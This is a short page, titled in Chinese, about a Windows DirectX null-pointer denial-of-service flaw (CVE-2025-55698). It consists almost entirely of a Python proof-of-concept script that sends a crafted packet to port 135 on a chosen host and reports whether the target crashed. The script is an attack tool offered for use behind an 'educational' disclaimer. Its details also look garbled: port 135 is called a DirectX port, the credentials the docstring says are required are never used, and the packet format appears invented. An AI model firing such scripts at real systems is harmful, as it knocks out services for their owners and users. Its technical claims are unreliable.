Windows DirectX 空指针解引用拒绝服务漏洞 (CVE-2025-55698)

# CVE-2025-55698 - Windows DirectX Null Pointer Dereference PoC # This PoC demonstrates the concept of triggering a null pointer dereference # in Windows DirectX by sending specially crafted network data. # Note: This is for educational and authorized testing purposes only. import socket import struct import sys TARGET_HOST = "192.168.1.100" TARGET_PORT = 135 # Common DirectX/RPC port def build_malicious_packet(): """ Construct a malformed DirectX-related network packet designed to trigger null pointer dereference in the vulnerable DirectX component. """ # Crafted packet header mimicking DirectX protocol packet = b"\x44\x58\x00\x00" # DX magic bytes packet += struct.pack("<I", 0x00000000) # Null/corrupted length field packet += struct.pack("<I", 0xFFFFFFFF) # Invalid type identifier packet += b"\x00" * 64 # Null payload to trigger null pointer dereference return packet def exploit(target_host, target_port): """ Send the malicious packet to trigger the vulnerability. Requires valid low-privilege credentials (PR:L). """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) payload = build_malicious_packet() sock.send(payload) # Attempt to receive response - crash will cause connection drop try: response = sock.recv(1024) if not response: print(f"[+] Target {target_host} appears to have crashed (DoS achieved)") except socket.timeout: print(f"[*] Connection timed out - target may be unresponsive") except ConnectionResetError: print(f"[+] Connection reset - DoS confirmed on {target_host}") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST exploit(target, TARGET_PORT)